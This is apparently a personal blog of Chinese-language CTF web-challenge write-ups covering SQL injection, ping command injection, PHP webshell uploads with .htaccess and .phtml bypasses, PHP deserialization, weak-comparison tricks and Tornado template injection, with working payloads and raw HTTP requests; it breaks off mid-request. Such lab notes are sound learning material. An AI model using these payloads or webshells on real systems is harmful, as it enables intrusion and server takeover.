老早就做过这题了,当初wp看的半知半解,现在是我想能算上是大彻大悟了吧

1
select $_GET['query'] || flag from flag

|| 符是或的意思,应该就和注入中的 || , or 是一个用法

这里的||在mysql中表示或,如果前一个操作数为真,则不看后面的语句

网上最多的payload都是

1
*,1

那拼接进sql语句就是

1
select *,1||flag from flag

查询全部,外加一个 select 1的效果
这样就看得出来了:

1
select (*),(1||flag) from flag

为什么不能直接查询 * 呢?

deepseek:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在后端的SQL语句SELECT $_GET['query'] || flag FROM flag中,||操作符的作用取决于数据库类型。在SQLite或PostgreSQL中,||表示字符串连接,而在MySQL中(除非启用特定模式)则代表逻辑或。以下是需要传*,1而非*的关键原因:

语法问题:

若直接传入*,查询会变为SELECT * || flag FROM flag。此时*(通配符)无法直接与其他字段(flag)进行字符串连接或逻辑运算,导致语法错误,查询无法执行。

传入*,1时,查询变为SELECT *,1 || flag FROM flag。这里,将*和1 || flag分为两个独立列,*单独选择所有字段,1 || flag则作为新列(如SQLite中会拼接1和flag的值)。语法正确,查询正常执行。

绕过字段限制:

若后端代码仅返回第一个字段的值,直接传*会因语法错误无结果。传*,1后,查询结果包含所有原始字段(通过*),可能使应用程序完整展示数据(如flag字段)。

数据库特性差异:

在SQLite中,1 || flag会生成新列(如1abc,假设flag值为abc)。即使应用程序仅显示部分结果,攻击者也可能通过新列间接获取flag值。

总结:*,1通过合法语法允许*单独生效,绕过因||导致的错误,最终泄露flag字段数据。直接传*则因语法问题失败。

应该就是语法问题,字段限制的话应该不是

看的wp:
https://blog.csdn.net/StevenOnesir/article/details/110203051
https://blog.csdn.net/xhy18634297976/article/details/122515412

以前看不明白现在看明白了,但以现在水平打比赛时遇到类似题目应该猜不出来后端语句

那是怎样猜出后端语句的呢:

1
2
3
4
5
6
7
select command1 || command2 

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

https://blog.csdn.net/2302_79800344/article/details/136268777

[ACTF2020 新生赛]Exec

根据题目猜测是命令执行类型,看到页面是一个ping的功能,尝试ping了一下我的网站:
www.gwwafz.online
回显:

1
2
3
4
PING www.gwwafz.online (39.105.15.250): 56 data bytes

--- www.gwwafz.online ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss

故想起使用管道符来连接命令:
39.105.15.250|ls /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

直接回显了,那接下来就是cat /flag 就ok了:

flag{eba95874-05c1-46a8-8a2f-28eff48a72be}


title: note-26
date: 2025-04-15 22:42:32
tags:

[GXYCTF2019]Ping Ping Ping 1

根据提示

1
?ip=1

根据回复,那就是ping功能了,
尝试用管道符连接命令:

1
2
3
4
?ip=1|ls

flag.php
index.php

直接就有flag,然后发现过滤了空格和flag,
上网查如何绕过空格过滤
最后使用$IFS$1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
?ip=1|cat$IFS$1index.php

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

没坚持下去,去找wp了
https://blog.csdn.net/qq_51439282/article/details/113378868
最后选了内联法:

1
?ip=1|cat$IFS$1`ls`

记一下
https://blog.csdn.net/angaoux03775/article/details/101710776
https://blog.csdn.net/m0_52425873/article/details/124899793


title: note-27
date: 2025-04-17 11:01:54
tags: note

2019 review-强网杯-随便注

再做一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1'show tables#

1';show tables;#

1';select group_concat(culumn_name);#

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

0';extractvalue(1,concat('!',database()));#

1';if(1=1,sleep(5),0);#

1'or extractvalue(1,concat('!',version())) #
!10.3.18-MariaDB
1'or extractvalue(1,concat('!',version())) #

1';rename table words to words1;rename table `1919810931114514` to words;ALTER TABLE words RENAME COLUMN flag TO id;#
//没改成功,看返回大概是说找不到名为'id'column,column是行还是列来着?是列我朝

1';rename table words to words1;ALTER TABLE employees CHANGE flag id VARCHAR(50);#

1';rename table words to words1;rename table `1919810931114514` to words;ALTER TABLE words CHANGE flag id VARCHAR(50);#
//成功

//
//

1
2
3
4
5
6
7
8
语句背景分析:
这段 SQL 包含多个操作,核心目的是:

将表 words 重命名为 words1。

将表 1919810931114514 重命名为 words

修改新表 words 的字段 flag,将其重命名为 id,并更改其数据类型为 varchar(50)。

想不起当初的做题笔记了,只是看到正则的情况想到了改表明和列明,应该只是单纯的想起,因为连列名都忘了查

当时还记了其它绕过方法,
试一下预编译绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1';show tables name;

1';show columns from `1919810931114514`;

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}


1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);exectue hack;@
//不是,明明一模一样,为啥我手敲的执行不了
//1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);execute hack;#
//woc,原来是excute

1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);execute hack;@

[极客大挑战 2019]Http

根据提示
f12 搜索secret,找到:
http://node5.buuoj.cn:27381/Secret.php
然后就是根据提示改请求头,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Access-Control-Allow-Origin: https://Sycsecret.buuoj.cn

From: https://Sycsecret.buuoj.cn

Referer: https://Sycsecret.buuoj.cn

Referer : https://Sycsecret.buuoj.cn
//Please use "Syclover" browser


Referer : https://Sycsecret.buuoj.cn
Browser : Syclover

Referer : https://Sycsecret.buuoj.cn
User-Agent: Syclover

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover Safari/537.36
Referer : https://Sycsecret.buuoj.cn

User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer : https://Sycsecret.buuoj.cn
//No!!! you can only read this locally!!!

User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer : https://Sycsecret.buuoj.cn
From : 127.0.0.1

User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Referer : https://Sycsecret.buuoj.cn
X-Forwarded-For : 127.0.0.1
//flag{41cea244-340a-4be9-bd6e-ba42db379119}

有点当初BuildCTF里的一题,但是那道题要改的更多


title: note-28
date: 2025-04-17 22:35:50
tags: note

[BJDCTF2020]Easy MD5

在bp查看相应,看到:
hint: select * from ‘admin’ where password=md5($pass,true)
试一下ffifdyop
返回的页面中有:

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

不是怎么都在求girlfriend,
这个我猜能用数组绕过

1
2
3
4
?a=r[]&b=q[]
//不行
?a='1'&b=1
//no

那直接上网查md5加密后能弱等于的字符

1
2
?a=%271%27&&b=1
//ok

返回

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这个强不等于试一下’1’,1

1
2
3
4
5
6
7
param1=1&param2='1'
//no

param1[]=1&param2[]=2
// flag{8277b79d-033f-4f57-a8dd-d74d41893128}
//原来我刚才用的数组绕过是写错的啊😅
//试了一下,levels91.php和levell14.php,都能直接用数组绕过

ffifdyop

sql中md5的万能密码
https://blog.csdn.net/Jeff_12138/article/details/121847582

[ACTF2020 新生赛]Upload

正常穿了一次图片,显示了上传文件的储存目录

1
/uplo4d/

上网随便找个php一句话木马

1
2
3
<?php
@eval($_POST['hack']);
?>

先把后最改为png在前端页面上传,或者直接改前端
然后用bp把后缀名改为php上传
提示nono

后把后缀改为 .phtml
成功上传
最后蚁剑连接,在根目录发现flag

phtml 绕过

将文件后缀改为 .phtml,在 Apache 服务器上会被当作 PHP 文件执行。

1
file.phtml

[HCTF 2018]admin

记录一下心路历程:
一开始以为是sql,然后看到前端代码里提示:

1
you are not admin 

以为是cookie,把初始的cookie解base64后好像出了个json格式的啥,试着把里面的”1”改为”admin”,
没用。
随后注册了一个账户,想起了数据库污染啥的,但是这题不是
注册账户后登录,然后更改密码,

1
123'where username=admin#

然后用123来登录admin,拿到flag
没想到一次成了


title: note-29
date: 2025-04-21 18:12:17
tags: note

[极客大挑战 2019]Upload

1
2
3
4
5
6
Content-Disposition: form-data; name="file"; filename="php.phtml"
Content-Type: image/jpeg

GIF89a

<script language='php'>eval($_GET["z"]);</script>

显示上传成功,但是没找到目录在哪
在url试了一下
在这个目录

1
/upload/php.phtml

试了好久发现马没生效

上网找了一个文件头

1
2
3
4
5
6
Content-Disposition: form-data; name="file"; filename="text.phtml"
Content-Type: image/jpeg

GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>

from:https://blog.csdn.net/m0_55793759/article/details/120956861
成功

[极客大挑战 2019]PHP

网址备份没思路,便上网查:
https://blog.csdn.net/m0_62879498/article/details/124129841

1
2
3
4
5
6
7
8
9
10
常见的网站源码备份文件后缀:

tar.gz,zip,rar,tar

常见的网站源码备份文件名:

web,website,backup,back,www,wwwroot,temp

后用
www.zip下载备份源码

里面有个flag.php

1
2
3
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

假flag,,,
审计index.php,
好像是反序列化?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>







<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>

select->name,
好像要先查看admin密码

1
2
3
4
5
6
7
8
$a=new name('admin','100');

return:
NO!!!hacker!!!
You name is: nonono
You password is: yesyes

$a=new name('guest','100');

再仔细看了一下,应该是要绕过wakeup函数里的赋值,不然就没法让username=admin,
上网差了一下,发现以前我好像做过wakeup绕过的题,那就是修改元素个数,
还是绕不过,去找wp,最后发现是有private,要用url加密,不然的话会有些不可显示字符的缺漏导致错误
未url加密:

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

可以看到Nameusername,和Namepassowrd,这两元素是因为少了字符导致连起来了,编码后可以看到

1
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

正确的样式应该是: %00Name%00username , %00Name%00password
记得要把2改为3,找的有点眼花,也可以像wp那样传:

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

参考:
https://blog.csdn.net/m0_62879498/article/details/124129841
https://aidemofashi.github.io/2025/03/19/note-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-01/


title: note-30
date: 2025-04-23 19:58:29
tags: note

[ACTF2020 新生赛]BackupFile

扫目录一直扫不出来,扫了十来次,最后发现是是请求太快,

1
dirsearch -u http://087da459-7de3-4061-82c8-b3cf69426d11.node5.buuoj.cn:81/ -w backup_include.txt --delay=1 -t 2

终于发现备份文件
/index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { //检查字符串是否只以数字构成,就是只能上传数字
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

弱比较 强比较

1
2
3
4
5
6
7
8
9
10
在进行比较的时候 会先将两种参数类型转化成相同

如果为整型跟字符型比较 那么字符将从左往右提取整型直到遇到字符结束 再比较。

若字符型为数字中间包含了一个e或E 则e或E会被科学计数法的标记

而数字中间包含了一个. 也会被看作为小数点

https://blog.csdn.net/qq_51196842/article/details/120591289

然后上网查intval函数绕过
intval函数在处理字符串时以数字开头遇到第一个字母时会停止。

大概就是弱比较会将不同数据类型,然后$key被转化类型会变成 123,
然后get传 123 进index即可

[网鼎杯 2020 青龙组]AreUSerialz

直接拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

反序列化题,有点复杂,给deepseek看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
要获取flag,需要通过反序列化漏洞触发FileHandler类的read方法读取flag.php。步骤如下:

构造恶意对象:创建一个FileHandler对象,设置op为整数2(绕过析构函数的修改),filename为flag.php。

处理序列化字符串:由于protected属性在序列化中包含空字符,需使用大写S和十六进制转义绕过字符检查。

URL编码:确保特殊字符正确传输。

***
op为整数2:绕过析构函数中的严格比较,触发read方法。

转义空字符:使用\00表示空字符,通过is_valid检查。

读取flag.php:在析构时调用process,op仍为2,读取flag.php内容输出。

它直接给出了payload=
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22%5C00%5C2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%5C2A%5C00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22%5C00%5C2A%5C00content%22%3BS%3A0%3A%22%22%3B%7D

直接传入后F12得到了flag!!?

自己来试试

1
2
3
4
$a=new FileHandler($op=2,$filename='flag.php');
echo serialize($a);

O:11:"FileHandler":3:{s:5:"\00*\00op";N;s:11:"\00*\00filename";N;s:10:"\00*\00content";N;}

还是没搞懂,去找wp吧

出来的一直是这玩意:

1
O:11:"FileHandler":3:{s:2:"op";N;s:8:"filename";N;s:7:"content";N;}

算了直接改吧
O:11:”FileHandler”:3:{s:2:”op”;2;s:8:”filename”;’flag.php’;s:7:”content”;N;}
不行

1
2
3
4
5
6
7
8
9
10
<?php

class FileHandler{
public $op=2;
public $filename="flag.php";
public $content;
}
$a=new FileHandler;
// $a=new FileHandler($op="2",$filename="flag.php");
echo serialize($a);

行了

总结:

第一步:____destruct: 绕过 === “2”,因为这里是强等字符串2于,直接传入数值2会让它不等于,而不会被置为1;
第二步:is_valid(),题目里定义了这个函数来判断输入的字符是否未ascii码里的字符,若有在ascii码里的字符就会失败,这里网上就出现了两种绕过,
第一种:因为题目里用的是protected类型的变量,要从url传入的话会多出不ascii里的字符,所以想办法将payload里的不不合要求字符替换。
第二种:利用php 7.1+版本对类的属性不敏感,直接传入public类,就不会有不和要求字符
具体看:
https://blog.csdn.net/m0_46246804/article/details/108746253
https://blog.csdn.net/m0_73734159/article/details/134648981

第二步:到了这里因为传入了2,所以到了read()函数,会有file_get_contents()函数来指定文件来下一步,直接使得filename=”flag.php”即可

最后记得F12查看,因为程序里不会echo flag 而是 return flag!!!!!
wp里是用file_get_contents()的伪协议来直接输出base64编码后的flag

notice

is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。

public无标记,变量名不变。 s:2:“op”;i:2;
protected在变量名前添加标记\00*\00。 s:5:“\00*\00op”;i:2;
private在变量名前添加标记\00类名\00。s:17:“\00类名\00op”;i:2;
序列化后protected类型的属性存在不可打印字符。(private类型的属性序列化后也产生不可打印字符);
PHP版本7.1+,对属性的类型不敏感;

[极客大挑战 2019]BuyFlag

感觉我心还是太急了,没发现cooki,没试一下用bp抓包,就上网找wp了,明明是很标准的流程,,,,,
一开始发现要post上传password,但是没发先有cookie一直回显要求的账户,把cookie改为1即可,
然后到密码,试了“404”,不行。看wp,用php弱比较,上传404a,显示能过不是纯数值这关,然后到弱比较,如果比较的变量开头是数字,会把数字截取到遇到字符为止,所以404a会变成404。
然后到了money,试了了一下,不能传太长的数值,所以用科学计数法传了9亿,拿到flag

1
2
3
4
POST /
cookie=1

password=404aa&money=9e8

title: note-31
date: 2025-04-27 20:24:35
tags: web

[RoarCTF 2019]Easy Calc

进去后是个页面,输入计算式,计算结果,没见过类似的题目啊,f12,发现有个calu.php,访问得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0); //关闭错误报告
if(!isset($_GET['num'])){
show_source(__FILE__); //如果num未被设置则显示源码
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

然后看别人的wp做
https://blog.csdn.net/vanarrow/article/details/107976892
https://www.cnblogs.com/echoDetected/p/13091486.html

当传入:

1
2
3
4
5
6
7
8
9
10
 num
//就能绕过正则匹配?
//此时的"nmu"不等于" num",绕过了:

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");

//但是在eval里解析的时候会把空格移除,这样就能实现绕过

在本地试了一下,确实是这样:

1
2
3
4
5
6
7
<?php
eval('echo'. phpinfo().';');
?>

<?php
eval('echo'.' phpinfo()'.';');
?>

接下来总结别人的wp:
1.用” num”来绕过正则匹配;
2.var_dump函数来输出回显,用file_get_contents()来加载flag文件chr()函数来绕过非法字符;

1
2
3
4
5
6
s=''
s=s+input("enter you str,then i will give you them ascii:\n")
o=0
for i in s:
o=ord(i)
print(o)

然后到做题:
查看根目录:

1
2
3
4
/calc.php? num=var_dump(scandir(chr(47)))

回显:
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

读取flag:

1
2
3
http://node5.buuoj.cn:28453/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

string(43) "flag{89404a0c-0948-4a18-9f87-40f1050cc23f} "

notice:

scandir( )
这是一个在C语言中用于扫描目录内容的函数,它允许开发者检索目录中的文件和子目录信息。这个函数在Linux系统编程中非常有用,尤其是当你需要处理文件系统或者进行目录操作时。

var_dump( ):
这是PHP的一个内置函数,用于输出变量的详细信息,包括类型和值。

file_get_contents( ):
这是PHP的一个内置函数,用于读取文件内容并返回为字符串。

chr( ):
这是PHP的一个内置函数,用于将ASCII码值转换为对应的字符。

[护网杯 2018]easy_tornado

模板注入题
没接触过,想直接去看wp了
https://blog.csdn.net/m0_73734159/article/details/134360691
很详细,

记一回tornado模板注入,虽然没做过两道模板注入的题

点开flag看到:

1
2
3
4
/flag.txt
flag in /fllllllllllllag

url:/file?filename=/flag.txt&filehash=02521e013bf12f2ed07267cbbb4476da

修改filehash:
/error?msg=Error
验证完后确定使用tornado模板注入(wp)

查看hint得到计算公式 md5(cookie_secret+md5(filename))
知道要拿到cookie_secret,
用handler.sttings查看环境变量

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '42b45411-b944-4058-a294-92333eecacef'}

计算hash值
md5(/fllllllllllllag)=3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret=42b45411-b944-4058-a294-92333eecacef
md5(md5(/fllllllllllllag)+cookie_secret)=baf2694028f23612a3c77cb63b9b9dd8

最后payload:
/file?filename=/fllllllllllllag&filehash=baf2694028f23612a3c77cb63b9b9dd8

[MRCTF2020]你传你🐎呢

这题的note写过了,本替换搞没了,这次就独立做过当温习吧
开局艾克和孙笑川,jpeg直接传也传不了,文件有1m限制,
题目一直不提示改上传什么类型的文件有点难受,
最后试出来mmie传 image/png 就行
直接传了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /upload.php HTTP/1.1
Host: 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Length: 411
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPX5AuupbBQqkGiE6
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ff
Connection: keep-alive

------WebKitFormBoundaryPX5AuupbBQqkGiE6
Content-Disposition: form-data; name="uploaded"; filename="php.png"
Content-Type: image/png

<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundaryPX5AuupbBQqkGiE6
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundaryPX5AuupbBQqkGiE6--


Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/c27817d096552162de80b210a4855ce1/php.png succesfully uploaded!

直接蚁剑访问访问不了,应该就是目录不会进行php解析的原因
利用.htaccess,上传.htaccess文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /upload.php HTTP/1.1
Host: 4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Length: 340
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvBTzoKhzTjekoPjH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=40c31c5302fc21595b5a1fb9e36ac7ff
Connection: keep-alive

------WebKitFormBoundaryvBTzoKhzTjekoPjH
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png

SetHandler application/x-httpd-php
------WebKitFormBoundaryvBTzoKhzTjekoPjH
Content-Disposition: form-data; name="submit"

一键去世
------WebKitFormBoundaryvBTzoKhzTjekoPjH--

Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/c27817d096552162de80b210a4855ce1/.htaccess succesfully uploaded!

蚁剑访问
http://4f3fe5aa-8e67-4790-9789-62a2f46c45c4.node5.buuoj.cn:81/upload/c27817d096552162de80b210a4855ce1/php.png
成功

.htaccess

漏洞详情:
https://blog.csdn.net/weixin_44032232/article/details/108998564

ACTF upload(未解出)

又跑去actf坐牢了😭,做不出来也把进度放这

先要注册用户来登录,试了admin账户,服务器不给

传正常图片
http://223.112.5.141:63478/upload?file_path=9db39573-994f-464f-b1fe-97c1e9897fb9_test.jpeg
访问正常回显图片

传马:
http://223.112.5.141:63478/upload?file_path=5ce41be5-7154-493f-b21b-84dd6a200111_php.php
不回显代码,回显:

1
<img src="data:image/png;base64,PHNjcmlwdCBsYW5ndWFnZT0ncGhwJz5ldmFsKCRfR0VUWyJ6Il0pOzwvc2NyaXB0Pg==" alt="Uploaded Image">

是base64编码后的马
试一下直接上传base64:

1
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

不行

看一下d导的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
关键分析
服务器处理逻辑:

上传的内容被包裹在 <img src="data:image/png;base64,..."> 中,说明服务器将文件内容强制转换为 Base64 图片。

但返回的 Base64 数据 (PHNjcmlwdCBsYW5ndWFnZT0ncGhwJz5ldmFsKCRfR0VUWyJ6Il0pOzwvc2NyaXB0Pg==) 解码后正是你上传的原始代码:

php
<script language='php'>eval($_GET["z"]);</script>
这意味着服务器可能同时做了两件事:

将文件内容保存到磁盘(如 uploads/shell.php)。

生成一个包含该内容的 Base64 图片用于前端展示。

潜在漏洞点:

如果服务器保存了原始文件(如 .php),且文件名可控,可直接访问该文件执行代码。

如果服务器仅返回 Base64 图片但未保存原始文件,需另寻他法。

试一下对upload文件

1
http://223.112.5.141:63478/upload?file_path=flag.txthttp://223.112.5.141:63478/upload?file_path=flag.txt

对upload试了一下目录穿越,不行,

伪协议
encode,无法读取文件,
decode,无法读取文件

注意到无论上传什么文件服务器默认当作imag/png文件处理

http://223.112.5.141:53908/upload?file_path=http://127.0.0.1/flag.txt
不行
放弃了,等wp


title: note-32
date: 2025-05-01 02:13:13
tags: web

[CISCN2019 华北赛区 Day2 Web1]Hack World

buucft里提示有sql,上来给了个输入框,但是是post而,抓包看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: cb3e0494-3cbe-4dca-b625-ed7bbc363bbe.node5.buuoj.cn:81
Content-Length: 4
Cache-Control: max-age=0
